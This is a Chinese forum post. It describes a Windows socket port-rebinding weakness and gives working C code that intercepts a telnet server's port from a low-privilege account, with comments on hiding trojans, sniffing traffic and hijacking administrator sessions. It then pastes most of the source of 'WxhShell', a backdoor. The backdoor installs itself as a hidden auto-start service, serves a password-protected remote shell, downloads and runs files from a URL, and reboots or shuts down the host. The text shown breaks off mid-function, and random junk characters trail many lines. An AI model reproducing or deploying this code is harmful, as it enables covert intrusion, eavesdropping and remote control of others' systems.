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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: in(U:04  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^mb[j`CCt  
TARXx>  
  saddr.sin_family = AF_INET; Q7g>4GZC  
1Jj Y!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,:%"-`a%  
w=}uwvn NX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %eJGt e-  
HFqm6|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7^M9qTEHp  
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  这意味着什么?意味着可以进行如下的攻击: 3 E3qd'  
%J8|zKT5t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7c;9$j  
rLU/W<F8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0x9x@gF  
sO5?aB&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I"1;|`L~:  
9m-)Xdoy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ZlHDi!T  
Uh'#izm[l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (o J9k[(  
fS:1^A2,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KE1ao9H8wR  
&h~Xq^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \@>b;4Fb+N  
: iiw3#]  
  #include = 0- $W5E  
  #include #eN{!Niy&U  
  #include S2>c#BQ  
  #include    q\rC5gk >  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CdUAy|!`R  
  int main() 2Sq_Tw3^  
  { uHIiH@ S  
  WORD wVersionRequested; 9=,uq;  
  DWORD ret; kSc{^-<R  
  WSADATA wsaData; f,z P*  
  BOOL val; 'u4ezwF;  
  SOCKADDR_IN saddr; " v}pdUW  
  SOCKADDR_IN scaddr; KvQ,;A  
  int err; 5[{*{^F4  
  SOCKET s; !WkIi^T  
  SOCKET sc; >\ u<&>i  
  int caddsize; __@zTSVb  
  HANDLE mt; hCYQGx0  
  DWORD tid;   4gSH(*}  
  wVersionRequested = MAKEWORD( 2, 2 ); 7DKz;o  
  err = WSAStartup( wVersionRequested, &wsaData ); .P$IJUYO  
  if ( err != 0 ) { @FN*TJ  
  printf("error!WSAStartup failed!\n"); y[@\j9Hq  
  return -1; qi^!GA'5j  
  } z^nvMTC  
  saddr.sin_family = AF_INET; >O/ D!j|  
   jxgj,h"}9`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mfny4R1_  
.bD_R7Bi6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^O^:$nXhYy  
  saddr.sin_port = htons(23); (!5LW '3B  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QFPfIb/  
  { CnN9!~]"  
  printf("error!socket failed!\n"); fWGOP~0  
  return -1; sP'0Sl~NU  
  } r$wZt  
  val = TRUE; hIJ)MZU|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qP*}.Sqk7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wzjU,Mw e  
  { R)Mt(gFZT_  
  printf("error!setsockopt failed!\n"); Hqz?E@bc@  
  return -1; 2h {q h  
  } KyP)Qzp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8 iC:xcN3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uk`8X`'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m+$ @'TbP  
W</n=D<,I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n uQM^2  
  { Z< b"`ty.  
  ret=GetLastError(); {}>n{_  
  printf("error!bind failed!\n"); 7yI @"c#O  
  return -1; ]r]k-GZ$  
  } FrTg4  
  listen(s,2); -qV{WZHp  
  while(1) _'x8M  
  { TB aVW  
  caddsize = sizeof(scaddr); [IM%b~j(^  
  //接受连接请求 7q9gngT1LA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o5Rz%k#h  
  if(sc!=INVALID_SOCKET) }b["Jk\2  
  { Y^ve:Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Md; /nJO~{  
  if(mt==NULL) 7_KhV  
  { ~bA,GfSn0  
  printf("Thread Creat Failed!\n"); u~ F ;x Q  
  break; BZ+-p5]-  
  } 6DSH`-;  
  } :_dICxaLZT  
  CloseHandle(mt); bNzqls$  
  } rE!1wc>L  
  closesocket(s); %.x@gi q  
  WSACleanup(); KAA3iA@>+  
  return 0; T>]sQPg  
  }   1|y$~R.H  
  DWORD WINAPI ClientThread(LPVOID lpParam) p_terD:  
  { cHvF*A  
  SOCKET ss = (SOCKET)lpParam; l`n5~Fs  
  SOCKET sc; - HOnB=  
  unsigned char buf[4096]; Ns~&sE:  
  SOCKADDR_IN saddr; &&RA4  
  long num; '?/&n8J\  
  DWORD val; 7t(Y;4<2  
  DWORD ret; H"YL k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wgd<3 X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   MR9/Y:Nm  
  saddr.sin_family = AF_INET; whkJpK(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Etnb3<^[t  
  saddr.sin_port = htons(23); b 6W#SpCF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z^6#4Q]YC  
  { 2)LX^?7R  
  printf("error!socket failed!\n"); j]> uZalr  
  return -1; Z$2L~j"=!  
  } fNhT;Bux  
  val = 100; E3\ZJjG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 03E3cp"  
  { ~w.2 -D  
  ret = GetLastError(); D zDj)7  
  return -1; ckwF|:e 7*  
  } 5d 5t9+t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]tVl{" .{  
  { APHPN:v  
  ret = GetLastError(); Ol cP(  
  return -1; D!l8l49hLu  
  } x0x $  9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $N\+,?  
  { 3q~Fl=|.o  
  printf("error!socket connect failed!\n"); {[3YJkrM  
  closesocket(sc); q) _r3   
  closesocket(ss); BMjfqX  
  return -1; 9s $PrF  
  } ec'tFL#u{  
  while(1) 9v?V  
  { 9t }xXk  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 YC)hX'A\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a/e\vwHLv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Jk*QcEE=  
  num = recv(ss,buf,4096,0); s`Vf+ l0  
  if(num>0) C"No5r'K3  
  send(sc,buf,num,0); x^2 W?<  
  else if(num==0) %c0z)R~  
  break; qhxC 5f4Z  
  num = recv(sc,buf,4096,0); |uQ[W17^N  
  if(num>0) $[Q cEk  
  send(ss,buf,num,0); I =b'j5c  
  else if(num==0) Vj7Hgc-,  
  break; U$09p;~$Ww  
  } i@{*O@m  
  closesocket(ss); <,-,?   
  closesocket(sc); =+(Q.LmhC  
  return 0 ; k!c7a\">{  
  } x~(y "^ph  
@ay|]w  
UC#"=Xd 4  
========================================================== [iXi\Ex  
E@]sq A  
下边附上一个代码,,WXhSHELL LO}z)j~W  
pg5&=  
========================================================== JP_kQ  
*s36O F!  
#include "stdafx.h" :5<#X8>d  
F#^L9  
#include <stdio.h> Nc"NObe  
#include <string.h> +yIL[D  
#include <windows.h> N=<=dp(  
#include <winsock2.h> /[L)tj7B  
#include <winsvc.h> ze$Y=<S  
#include <urlmon.h> hJ4S3b  
XP4jZCt9  
#pragma comment (lib, "Ws2_32.lib") K /8qB~J*  
#pragma comment (lib, "urlmon.lib") :OX$LCi  
A{t"M-<  
#define MAX_USER   100 // 最大客户端连接数 $&Ac5Zo%}  
#define BUF_SOCK   200 // sock buffer ef,F[-2^o  
#define KEY_BUFF   255 // 输入 buffer P_mi)@  
ofl'G]/$+  
#define REBOOT     0   // 重启 mMslWe  
#define SHUTDOWN   1   // 关机 ' me:Zd  
`L;OY 4  
#define DEF_PORT   5000 // 监听端口 N@}gLBf  
8eN%sm  
#define REG_LEN     16   // 注册表键长度 }*Dd/'2+1  
#define SVC_LEN     80   // NT服务名长度 k|l5"&K~.  
%-k(&T3&  
// 从dll定义API M-vC>u3Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )L|C'dJ<k`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =}"R5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R^|!^[WE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :K: f^o]s  
-S7RRh'p  
// wxhshell配置信息 vD_u[j]  
struct WSCFG { #Af)n(  
  int ws_port;         // 监听端口 +fPNen4E  
  char ws_passstr[REG_LEN]; // 口令 nQ!N}5[z'  
  int ws_autoins;       // 安装标记, 1=yes 0=no fHLFeSfH  
  char ws_regname[REG_LEN]; // 注册表键名 (e 0_RQ  
  char ws_svcname[REG_LEN]; // 服务名 3V"dG1?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sN;(/O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *1i?6$[ "  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  Ls lM$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2$iw/ r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /(y4V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ysL0hwir  
uF+);ig  
}; [2=^C=52  
8TUF w@H%  
// default Wxhshell configuration /j$$0F>s7  
struct WSCFG wscfg={DEF_PORT, Zp^)_ 0  
    "xuhuanlingzhe", $#F;xys  
    1, +}&pVe\t  
    "Wxhshell", $U\!q@'$  
    "Wxhshell", ?`za-+<r<  
            "WxhShell Service", t>XZ 3  
    "Wrsky Windows CmdShell Service", }<E sS  
    "Please Input Your Password: ", 58qaA\iw  
  1, P0a>+^:%  
  "http://www.wrsky.com/wxhshell.exe", \o0z@Ntq  
  "Wxhshell.exe" MacL3f  
    }; b(g_.1[  
e|S+G6 :O2  
// 消息定义模块 8[vl3C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; niXHK$@5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s4^[3|Zrr0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rc$=+K#  
char *msg_ws_ext="\n\rExit."; K!pxDW}  
char *msg_ws_end="\n\rQuit."; FRb&@(;  
char *msg_ws_boot="\n\rReboot..."; -HO6K) ur  
char *msg_ws_poff="\n\rShutdown..."; jI@bTS o  
char *msg_ws_down="\n\rSave to "; se4w~\/  
cP/F| uG5  
char *msg_ws_err="\n\rErr!"; jB}_Slh1j  
char *msg_ws_ok="\n\rOK!"; #p11D= @[  
8:;u v7p  
char ExeFile[MAX_PATH]; l|4xKBCV]  
int nUser = 0; I8E\'`:<  
HANDLE handles[MAX_USER]; ;mCGh~?G  
int OsIsNt; K8e4ax  
"~ .8eKRQ  
SERVICE_STATUS       serviceStatus; >FK)p   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6)tB{:h&~0  
Sn{aHH  
// 函数声明 FCS5@l,'<  
int Install(void); @vVRF Z  
int Uninstall(void); o3kt0NuF,  
int DownloadFile(char *sURL, SOCKET wsh); *y":@T  
int Boot(int flag); 75QXkJu  
void HideProc(void); wN/*|?`Z  
int GetOsVer(void); A8A:@-e8A  
int Wxhshell(SOCKET wsl); =R"Eb1  
void TalkWithClient(void *cs); N]O{T_5-0  
int CmdShell(SOCKET sock); S'v V"  
int StartFromService(void); mmpr]cT@'k  
int StartWxhshell(LPSTR lpCmdLine); "(HA9:  
ZC9.R$}Kl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ppi-skT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U{U:8==  
VR5e CJ:i  
// 数据结构和表定义 xPn'yo  
SERVICE_TABLE_ENTRY DispatchTable[] = $Hl+iF4j<  
{ 5kRwSOG%'  
{wscfg.ws_svcname, NTServiceMain}, -Ib+#pX  
{NULL, NULL} S4aHce5PXA  
}; 1OfSq1G>v$  
c"QkE*  
// 自我安装 yP1Y3Tga=  
int Install(void) <?=mLOo =  
{ ' Z(MV&  
  char svExeFile[MAX_PATH]; Tvksf!ba  
  HKEY key; T?p`Y| gl  
  strcpy(svExeFile,ExeFile); iA^+/Lt  
g~$GE},,  
// 如果是win9x系统,修改注册表设为自启动 qD=m{O8%_  
if(!OsIsNt) { >TQBRA;'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3_j C sX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 08d_DCR  
  RegCloseKey(key); nDoiG#N0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #<PA- y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]L%R[Z!3  
  RegCloseKey(key); q|]0on~ ]  
  return 0; +ia(%[  
    } yBD2  
  } 44fq1<.K  
} >`rNT|rg  
else { gw&#X~em  
l:5CM[mZ  
// 如果是NT以上系统,安装为系统服务 tci%=3,)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EV?47\ ~  
if (schSCManager!=0) u8k{N  
{ E23 Yk?"  
  SC_HANDLE schService = CreateService :(?hLH.W[  
  ( wMPw/a;  
  schSCManager, D @4&@>  
  wscfg.ws_svcname, fO|~Oz<S  
  wscfg.ws_svcdisp, Y +_5"LV  
  SERVICE_ALL_ACCESS, :?:j$ =nWN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,b.4uJg'  
  SERVICE_AUTO_START, a+>W  
  SERVICE_ERROR_NORMAL, _AFt6\  
  svExeFile, Jr>S/]"  
  NULL, =`\,2Nb  
  NULL,  \#+2;L  
  NULL, Dy{`">a  
  NULL, /@nRL  
  NULL ~ Dp:j*H  
  ); 8$<AxNR  
  if (schService!=0) L..X)-D2 n  
  { HT,kx  
  CloseServiceHandle(schService); `2mbF ^-4  
  CloseServiceHandle(schSCManager); zyp"*0zUr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =u3@ Dhw  
  strcat(svExeFile,wscfg.ws_svcname); IL6f~!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R,5$ 0_]|+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ks#Z~6+3  
  RegCloseKey(key); 97))'gC  
  return 0; u g:G9vjQ  
    } ,nChwEn  
  } f~"V  
  CloseServiceHandle(schSCManager); $-9@/%Y  
} wAOVH].  
} z vylL M  
c.{&~  
return 1; q}F%o0  
} ^.1VhTB  
v4>"p!_C  
// 自我卸载 \;:@=9`  
int Uninstall(void) HFx"fT  
{ 6p=xgk-q  
  HKEY key; oJJ k  
7CL@i L Tq  
if(!OsIsNt) { //5_E7Ehu$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )>M@hIV5>  
  RegDeleteValue(key,wscfg.ws_regname); 2au(8IWu  
  RegCloseKey(key); %V1T !<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^\kHEM|5v  
  RegDeleteValue(key,wscfg.ws_regname); p,u<g JUL  
  RegCloseKey(key); b G5  
  return 0; %3+hz $E  
  } 9PGR#!!F$  
} / >. X+N  
} 6N+)LF}P b  
else { 6ym)F!t8l  
%PdYv _5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y'O{8Q8T  
if (schSCManager!=0) |21hY  
{ O#5( U. E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,Ve@=<  
  if (schService!=0) Cl.T'A$  
  { HeifFJn  
  if(DeleteService(schService)!=0) { jsaCnm>&  
  CloseServiceHandle(schService); Bt7v[Ot   
  CloseServiceHandle(schSCManager); X|1YGZJ  
  return 0; )$4DH:WN  
  } sfPN\^k2  
  CloseServiceHandle(schService); U@5Z9/n{  
  } to|9)\  
  CloseServiceHandle(schSCManager); &FF. Ddt{  
} w ]-iM  
} htrj3$q(4  
9x{prCr  
return 1; `srZ#F5  
} ;OJ0}\*iP8  
dTQvz9C  
// 从指定url下载文件 5 t?2B]  
int DownloadFile(char *sURL, SOCKET wsh) 6jo&i  
{ LhRe?U\  
  HRESULT hr; $cU/Im`  
char seps[]= "/"; {1DYXKe  
char *token; Iw7r}G  
char *file; }/0dfes  
char myURL[MAX_PATH]; slfVQ809  
char myFILE[MAX_PATH]; 2I 7`  
T5_Cu9>ax  
strcpy(myURL,sURL); &it/@8yH  
  token=strtok(myURL,seps); `2+e\%f/0  
  while(token!=NULL) {leG~[d  
  { ymX,k|lh  
    file=token; 8~#Q *  
  token=strtok(NULL,seps); u*N8s[s'  
  } AK?j1Pk  
*v/*_6f*  
GetCurrentDirectory(MAX_PATH,myFILE); wT yM9wz&  
strcat(myFILE, "\\"); P$Ru NF  
strcat(myFILE, file); mJR T+SZ  
  send(wsh,myFILE,strlen(myFILE),0); 3F!+c 8e  
send(wsh,"...",3,0); yLOLv6g~e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H5 hUY'O  
  if(hr==S_OK) Pp hQa!F$  
return 0; 17MjIX  
else ++"PPbOe&D  
return 1; }*R6p?L5  
C P{h+yCj  
} PzDgl6C  
D+""o"%  
// 系统电源模块 P< x  
int Boot(int flag) BmX Gk  
{ Y g?{x@  
  HANDLE hToken; \hN2w]e  
  TOKEN_PRIVILEGES tkp; 0|;=mYa4M  
uZI a-b  
  if(OsIsNt) { $u"$mg7x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @ RBwT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c%.& F  
    tkp.PrivilegeCount = 1; eCd?.e0@j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; We?:DM [  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q:.BY}X9  
if(flag==REBOOT) { y8z%s/gRh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zUqDX{I8  
  return 0; l:f sZO4  
} j3&*wU_  
else { Y&:i^k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `oBzt |f5  
  return 0; }*.*{I  
}  ?~IZ{!  
  } pASVnXJZ  
  else { a"0~_=  
if(flag==REBOOT) { m.1BLN[9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F9W5x=EK\  
  return 0; cC.DBYV+-  
} _@2G]JD  
else { %A3Jd4DH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X2v'9 x  
  return 0; >k|[U[@  
} z, [ +  
} qE{S'XyM,  
]mA?TwD  
return 1; 4>*`26  
} W(YJz#]6_  
<!^Z|E  
// win9x进程隐藏模块 ez{&Y>n  
void HideProc(void) J?'!8,RX  
{ M.xEiHz  
46~ug5gV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p~IvkW>ln)  
  if ( hKernel != NULL ) :cTi$n  
  { o@. !Z8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0 i"OG( ,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \`C3;}o:"P  
    FreeLibrary(hKernel); v0=~PN~E  
  } s3J$+1M >  
l<0V0R(  
return; 14RL++  
} :Kiu*&{  
jLTs1`I/F  
// 获取操作系统版本 qM+T Wp  
int GetOsVer(void) GCHssw~P'v  
{ R 9(^CWs  
  OSVERSIONINFO winfo; Sgj6tH2M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $`%.Y&A  
  GetVersionEx(&winfo); ']Z8C)tK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \#slZ;&s  
  return 1; #LiC@>  
  else lxZXz JkqZ  
  return 0; 6]VTn-  
} A@UnrbX:  
@ 55Y2  
// 客户端句柄模块 DcS~@ ;  
int Wxhshell(SOCKET wsl) -IE;5f#e  
{ ^s5)FdF8  
  SOCKET wsh; 8Ex0[ e  
  struct sockaddr_in client; ~&kV  
  DWORD myID; vJ!t.Vou  
Wxjpe4  
  while(nUser<MAX_USER) A.n1|Q#  
{ ZD3S|1zSQ  
  int nSize=sizeof(client); T~la,>p|}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rAWBuEU;!  
  if(wsh==INVALID_SOCKET) return 1; D+OkD-8q  
6*$N@>8&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \gdd  
if(handles[nUser]==0) ^#+9v  
  closesocket(wsh); OX91b<A  
else J{H475GqiT  
  nUser++; V;$lgTs|'  
  } ZP1EO Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?pFHpz   
N'4*L=Ut  
  return 0; AWw:N6\  
} gN*8 zui  
so;aN'{6@  
// 关闭 socket -szvO_UP  
void CloseIt(SOCKET wsh) E>&dG:3no  
{ OA+W$  
closesocket(wsh); Ab2VF;z :  
nUser--; il: ""x7^y  
ExitThread(0); ,W.O*vCA  
} _b+3;Dy  
uy$o%NL-7  
// 客户端请求句柄 *Nv<,Br,F  
void TalkWithClient(void *cs) fSj^/>  
{ cB|](gWS~  
h-<+Pjc  
  SOCKET wsh=(SOCKET)cs; gX[6WB"p  
  char pwd[SVC_LEN]; 5z0SjQ  
  char cmd[KEY_BUFF]; wEdXaOEB5  
char chr[1]; Q.x3_+CX  
int i,j; XWkYhTaY  
wuPx6hCl  
  while (nUser < MAX_USER) { $#CkI09  
'C(YUlT2?P  
if(wscfg.ws_passstr) { ~GZ(Ou-&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K1Uur>Pk%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (i {  
  //ZeroMemory(pwd,KEY_BUFF); 3iDRt&y=.  
      i=0; %0L 9)-R  
  while(i<SVC_LEN) { l/SbJrM*  
nM@S`"  
  // 设置超时 (%tKGeb  
  fd_set FdRead; &P rx=L`  
  struct timeval TimeOut; hS<+=3 <M  
  FD_ZERO(&FdRead); r.[9/'>  
  FD_SET(wsh,&FdRead); 8!1vsEqv  
  TimeOut.tv_sec=8; Ok9XC <Xu  
  TimeOut.tv_usec=0; yKi* 8N"e<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NT:p6(s^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 60Y&)UR  
^MuO;<<,.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @Kp2l<P  
  pwd=chr[0]; *U8Pjb1  
  if(chr[0]==0xd || chr[0]==0xa) { 8@Pv nOL  
  pwd=0; q* +}wP  
  break; VGkwrS;+I  
  } JW (.,Ztm  
  i++; %6L{Z*(  
    } 5Osx__6$t  
:2}zovsdj  
  // 如果是非法用户,关闭 socket @a+1Ri`)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }Dm-Ibdg(  
} = oQ-I  
PE0A`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {U>B\D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \IIR2Xf,K  
(i1 ]+.  
while(1) { x8w455  
# 2s$dI  
  ZeroMemory(cmd,KEY_BUFF); wUv Zc  
,,OO2EgZ`  
      // 自动支持客户端 telnet标准   abp]qvCV  
  j=0; K} LmU{/t/  
  while(j<KEY_BUFF) { Z+x,Awq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IOtSAf  
  cmd[j]=chr[0]; e<#t]V  
  if(chr[0]==0xa || chr[0]==0xd) { 'gI q_t|^  
  cmd[j]=0; "k[-eFz/@M  
  break; akoK4!z  
  } A}W) La\  
  j++; =Q>'?w>  
    } /I(IT=kp  
ci a'h_w  
  // 下载文件 D6fry\  
  if(strstr(cmd,"http://")) { Bvb.N$G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7.`Fe g.  
  if(DownloadFile(cmd,wsh)) B&3oo   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @z[,w`  
  else kZ~0fw-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yPs4S?<s  
  } 5)bf$?d   
  else { &@NTedg!  
0]p! Bscaf  
    switch(cmd[0]) { e)"] H*  
  {}RE;5n\['  
  // 帮助 QQ;<L"VW  
  case '?': { X:PB }  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Myaj81  
    break; &3~lZa;D  
  }  3 c #oK  
  // 安装 uyZ  
  case 'i': { 1$mxMXNsJ  
    if(Install()) S{wR Z|8U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Va"H.]  
    else lOB*M!8   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Av6=q=D  
    break; {S[+hUl  
    } x \0( l5>  
  // 卸载 742 sqHx  
  case 'r': { B6 rz  
    if(Uninstall()) {<$ D|<S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mXAGa8##j  
    else gJ;jh7e@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k%2woHSu&  
    break;  IDCuS  
    } o^ Z/~N  
  // 显示 wxhshell 所在路径 9)2 kjBeb  
  case 'p': { /L|$* Xj  
    char svExeFile[MAX_PATH]; n/]w!  
    strcpy(svExeFile,"\n\r"); ^<u9I5?  
      strcat(svExeFile,ExeFile); o9GtS$ O\  
        send(wsh,svExeFile,strlen(svExeFile),0); q-? k=RX`  
    break; XL=Y~7b  
    } j<,Ho4v}_  
  // 重启 sVzU>  
  case 'b': { hv. 33l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o}^/K m+t  
    if(Boot(REBOOT)) ayGYVYi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (_2Iu%F  
    else { CB!5>k+mC  
    closesocket(wsh); TTGk"2 Q'  
    ExitThread(0); v$n J$M&k  
    } [v0[,K  
    break; q!fdiv`  
    } x{'3eJ^8  
  // 关机 =@ SJyW  
  case 'd': { ,?k0~fuG6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {:@MBA 34  
    if(Boot(SHUTDOWN)) O8\>?4)  
